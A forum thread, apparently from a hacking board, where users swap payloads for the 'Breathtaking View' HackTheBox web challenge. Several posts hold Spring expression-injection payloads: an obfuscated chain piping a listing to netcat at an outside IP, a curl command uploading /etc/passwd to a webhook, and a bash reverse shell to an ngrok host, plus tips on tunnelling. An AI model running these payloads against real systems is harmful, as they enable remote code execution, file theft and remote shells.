Temporary Advertisements:
Ad
Ad
Ad
HTB Web - Breathtaking View
by macavitysworld - Sunday September 22, 2024 at 05:54 AM
#11
(Sep 26, 2024, 03:06 AM)hades1204 Wrote: __${true.getClass.forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(114)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).getMethods()[6].invoke(true.getClass().forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(114)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).exec(true.toString().charAt(0).toChars(115)[0].toString().concat(true.toString().charAt(0).toChars(104)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(45)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(36)[0].toString()).concat(true.toString().charAt(0).toChars(64)[0].toString()).concat(true.toString().charAt(0).toChars(124)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(104)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(104)[0].toString()).concat(true.toString().charAt(0).toChars(111)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(45)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(124)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(49)[0].toString()).concat(true.toString().charAt(0).toChars(48)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(52)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(55)[0].toString()).concat(true.toString().charAt(0).toChars(53)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(50)[0].toString()).concat(true.toString().charAt(0).toChars(50)[0].toString()).concat(true.toString().charAt(0).toChars(56)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(49)[0].toString()).concat(true.toString().charAt(0).toChars(51)[0].toString()).concat(true.toString().charAt(0).toChars(51)[0].toString()).concat(true.toString().charAt(0).toChars(55)[0].toString())).getInputStream()).next()}__::.x


response 400. I don't know why?

It's just an example, you need to create a payload similar to that mentioned in the blog. Not copy pasting Shy
Thanks @paw for the rank!!
Reply
#12
(Sep 27, 2024, 11:54 AM)bestmajor Wrote: There is another approach (probably unintended way):

Since the app runs with root privileges, we can install tools using apt, e.g. curl:

__${[T(Runtime).getRuntime().exec('apt-get update')}
__${[T(Runtime).getRuntime().exec('apt-get install -y curl')}

Then, we can upload files to a webhook page with the -T  parameter (e.g. search results, the flag, ...).
(Runtime).getRuntime().exec('curl https://webhook.site/<my_id> -T /etc/passwd')

With a little bash and encoding magic you can enumerate the entire system. :-)

Interesting, I never thought of it, as usually htb machines doesnt allow internet access Smile
Thanks @paw for the rank!!
Reply
#13
lang= parameter? or registration form?I can only get
__*${7*7}__::.x
to work in registration username parameter , then login as 49.

tried many other payloads off that finding but no luck.

anyone?
Reply
#14
if you can curl, you can do https://beeceptor.com/
Reply
#15
(Sep 24, 2024, 06:36 AM)x1rx Wrote:
__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "echo 'bash -i >& /dev/tcp/NGROK/PORT 0>&1' > shell.sh"})}__::.x

__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "bash shell.sh"})}__::.x


This is driving me insane! These payloads work perfectly well on the Docker container.
But when I try them on the remote machine, I get a valid response in burp but NO REVERSE SHELL...
Annoying af Sad

Any ideas why?
Reply
#16
thanks for that awesome hints and explanation i would love if they release more black box approach

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Reposting hidden content for free
Reply
#17
(Mar 22, 2025, 07:31 PM)x14gx Wrote:
(Sep 24, 2024, 06:36 AM)x1rx Wrote:
__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "echo 'bash -i >& /dev/tcp/NGROK/PORT 0>&1' > shell.sh"})}__::.x

__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "bash shell.sh"})}__::.x


This is driving me insane! These payloads work perfectly well on the Docker container.
But when I try them on the remote machine, I get a valid response in burp but NO REVERSE SHELL...
Annoying af Sad

Any ideas why?

did you use NGROK ?
Reply
#18
(Mar 23, 2025, 05:40 AM)x1rx Wrote:
(Mar 22, 2025, 07:31 PM)x14gx Wrote:
(Sep 24, 2024, 06:36 AM)x1rx Wrote:
__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "echo 'bash -i >& /dev/tcp/NGROK/PORT 0>&1' > shell.sh"})}__::.x

__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "bash shell.sh"})}__::.x


This is driving me insane! These payloads work perfectly well on the Docker container.
But when I try them on the remote machine, I get a valid response in burp but NO REVERSE SHELL...
Annoying af Sad

Any ideas why?

did you use NGROK ?

hmm... Interesting. No I actually changed that to my vpn IP address as I usually do.
Does it have to be NGROK for some reason?
Reply
#19
(Mar 23, 2025, 06:10 AM)x14gx Wrote:
(Mar 23, 2025, 05:40 AM)x1rx Wrote:
(Mar 22, 2025, 07:31 PM)x14gx Wrote:
(Sep 24, 2024, 06:36 AM)x1rx Wrote:
__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "echo 'bash -i >& /dev/tcp/NGROK/PORT 0>&1' > shell.sh"})}__::.x

__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "bash shell.sh"})}__::.x


This is driving me insane! These payloads work perfectly well on the Docker container.
But when I try them on the remote machine, I get a valid response in burp but NO REVERSE SHELL...
Annoying af Sad

Any ideas why?

did you use NGROK ?

hmm... Interesting. No I actually changed that to my vpn IP address as I usually do.
Does it have to be NGROK for some reason?

Your vpn ip only works for htb lab boxes. 

Challenges are public and you must provide a public IP . 

NGROK is a good option , bore-cli one more ...


Good luck
Reply
#20
(Mar 23, 2025, 07:45 AM)x1rx Wrote:
(Mar 23, 2025, 06:10 AM)x14gx Wrote:
(Mar 23, 2025, 05:40 AM)x1rx Wrote:
(Mar 22, 2025, 07:31 PM)x14gx Wrote:
(Sep 24, 2024, 06:36 AM)x1rx Wrote:
__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "echo 'bash -i >& /dev/tcp/NGROK/PORT 0>&1' > shell.sh"})}__::.x

__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "bash shell.sh"})}__::.x


This is driving me insane! These payloads work perfectly well on the Docker container.
But when I try them on the remote machine, I get a valid response in burp but NO REVERSE SHELL...
Annoying af Sad

Any ideas why?

did you use NGROK ?

hmm... Interesting. No I actually changed that to my vpn IP address as I usually do.
Does it have to be NGROK for some reason?

Your vpn ip only works for htb lab boxes. 

Challenges are public and you must provide a public IP . 

NGROK is a good option , bore-cli one more ...


Good luck

Amazing. All this time... hehe.
Thank you that solved the problem.
I honestly didn’t know that. I mostly do pwn challenges, and in those cases, the reverse shell always goes to my VPN IP/port — at least so far.

Anyway, thank you for all the help! Much appreciated.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 84 11,159 8 hours ago
Last Post: groningen1981
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 165 34,656 8 hours ago
Last Post: groningen1981
  Finding solutions/flags/writeups for challenges meomeothantai 0 125 Today, 04:13 AM
Last Post: meomeothantai
  [FREE] HackTheBox Dante - complete writeup written by Tamarisk Tamarisk 625 115,326 Today, 03:26 AM
Last Post: kevin25hxl
  [FREE] CPTS 12 FLAGS pulsebreaker 168 19,536 Today, 12:57 AM
Last Post: blooper1337

Forum Jump:


 Users browsing this forum: